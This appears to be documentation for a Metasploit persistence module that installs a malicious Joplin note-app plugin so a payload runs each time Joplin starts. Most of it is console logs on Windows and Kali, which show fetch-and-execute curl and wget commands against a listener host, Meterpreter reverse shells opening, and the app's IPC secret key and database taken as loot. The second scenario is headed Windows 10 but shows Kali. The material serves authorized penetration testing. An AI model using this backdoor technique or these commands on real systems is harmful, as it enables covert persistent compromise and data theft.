## Vulnerable Application

This module installs a malicious Joplin plugin (.jpl) into the target's
Joplin plugin directory. The plugin executes the payload each time Joplin
is launched, providing persistent code execution. Joplin can not
be running at the time of plugin installation, or it will be overwriten
at shutdown. The module can optionally kill Joplin if it is detected running.

Tested against Joplin 3.6.11 on Windows 10, 3.6.10 on Kali

## Verification Steps

1. Install the application
2. Start msfconsole
3. Get a shell
4. Do: `use exploit/multi/persistence/joplin_plugin`
5. Do: `set session [#]`
6. Do: `run`
7. Start Joplin on target
8. You should get a shell.

## Options

###  NAME

Name of the plugin. Defaults to random

### DESCRIPTION

Description of the plugin. Defaults to empty string ``

### USER

User to target, or current user if blank. Defaults to current user

### DATABASE

Full path to Joplin database.sqlite on target (auto-detected if blank). Defaults to ``

### KILLJOPLIN

Kill Joplin if it is running before modifying the database

## Scenarios

### Joplin 3.6.11 on Windows 10

Original shell

```
$ ./msfconsole -q
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
[*] Using configured payload windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
fetch_command => CURL
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
fetch_pipe => true
resource (/root/.msf4/msfconsole.rc)> set lport 4450
lport => 4450
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
FETCH_URIPATH => w3
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
FETCH_FILENAME => mkaKJBzbDB
resource (/root/.msf4/msfconsole.rc)> to_handler
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/wOmdFrrym6hYB_VUkWOR6A & start /B %TEMP%\mkaKJBzbDB.exe

[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /wOmdFrrym6hYB_VUkWOR6A
[*] Adding resource /w3
[*] Started reverse TCP handler on 1.1.1.1:4450 
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > 
[*] Client 2.2.2.2 requested /wOmdFrrym6hYB_VUkWOR6A
[*] Sending payload to 2.2.2.2 (curl/8.13.0)
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:63459) at 2026-05-12 09:39:42 -0400

msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PTMHF3\h00die
meterpreter > sysinfo
Computer        : DESKTOP-3PTMHF3
OS              : Windows 10 22H2+ (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
```

Persistence

```
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/multi/persistence/joplin_plugin
[*] Using configured payload windows/meterpreter/reverse_tcp
msf exploit(multi/persistence/joplin_plugin) > set session 1
session => 1
msf exploit(multi/persistence/joplin_plugin) > set payload payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp
payload => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf exploit(multi/persistence/joplin_plugin) > exploit
[*] Powershell command length: 4391
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/joplin_plugin) > 
[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Using plugin name: com.quvaf.BiIMjN
[*] Target user: h00die
[+] IPC secret key saved to loot: /root/.msf4/loot/20260512094012_default_2.2.2.2_joplin.ipc_secre_971207.txt
[*] Writing plugin to: C:\Users\h00die\.config\joplin-desktop\plugins\com.quvaf.BiIMjN.jpl (9728 bytes)
[+] Plugin written to C:\Users\h00die\.config\joplin-desktop\plugins\com.quvaf.BiIMjN.jpl
[!] Joplin is currently running — the database modification will be overwritten when Joplin closes.
[!] Close Joplin completely and re-run this module, or set KILLJOPLIN true to kill it automatically.
[!] The .jpl file has been written; only the database registration step will be skipped.
[*] If the payload does not execute, check log files in C:\Users\h00die\.config\joplin-desktop for plugin errors
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/DESKTOP-3PTMHF3_20260512.4013/DESKTOP-3PTMHF3_20260512.4013.rc
[*] Sending stage (248902 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:63484) at 2026-05-12 09:40:37 -0400

msf exploit(multi/persistence/joplin_plugin) > 
```

### Joplin 3.6.11 on Windows 10

Original shell

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446 
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO Wuo9HQrg --no-check-certificate http://1.1.1.1:8082/l; chmod +x Wuo9HQrg; ./Wuo9HQrg& disown
msf exploit(multi/script/web_delivery) > 
[*] 1.1.1.1   web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:54686) at 2026-05-13 06:42:25 -0400

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: h00die
meterpreter > sysinfo
Computer     : h00die-kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 1...
```

Persistence

```
msf exploit(multi/script/web_delivery) > use exploit/multi/persistence/joplin_plugin 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/persistence/joplin_plugin) > set session 1
session => 1
msf exploit(multi/persistence/joplin_plugin) > set target 1
target => 1
msf exploit(multi/persistence/joplin_plugin) > exploit
[*] Command to run on remote host: curl -so ./LVPQpYIK http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./LVPQpYIK;./LVPQpYIK&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
[*] Started reverse TCP handler on 1.1.1.1:4444 
msf exploit(multi/persistence/joplin_plugin) > [*] Using plugin name: com.btetnf.DWcxFW
[*] Target user: h00die
[+] IPC secret key saved to loot: /root/.msf4/loot/20260513064257_default_1.1.1.1_joplin.ipc_secre_240268.txt
[*] Writing plugin to: /root/.config/joplin-desktop/plugins/com.btetnf.DWcxFW.jpl (4096 bytes)
[+] Plugin written to /root/.config/joplin-desktop/plugins/com.btetnf.DWcxFW.jpl
[*] Downloading Joplin database...
[+] Database saved to loot: /root/.msf4/loot/20260513064258_default_1.1.1.1_joplin.database_370015.sqlite
[*] Found 1 existing plugins.states row(s)
Joplin Plugin States
====================

    Plugin ID                                   Enabled  Deleted  Has Been Updated
    ---------                                   -------  -------  ----------------
    com.btetnf.DWcxFW                           true     false    false
    io.github.jackgruber.backup                 true     false    false
    io.github.personalizedrefrigerator.js-draw  true     false    false

[*] Re-uploading modified database...
[+] Plugin registered in Joplin database
[*] Joplin is not running — launch it to trigger the plugin
[*] If the payload does not execute, check log files in /root/.config/joplin-desktop for plugin errors
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260513.4258/h00die-kali_20260513.4258.rc

msf exploit(multi/persistence/joplin_plugin) > 
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
[*] Sending payload to 1.1.1.1 (curl/8.19.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:45882) at 2026-05-13 06:43:15 -0400
```
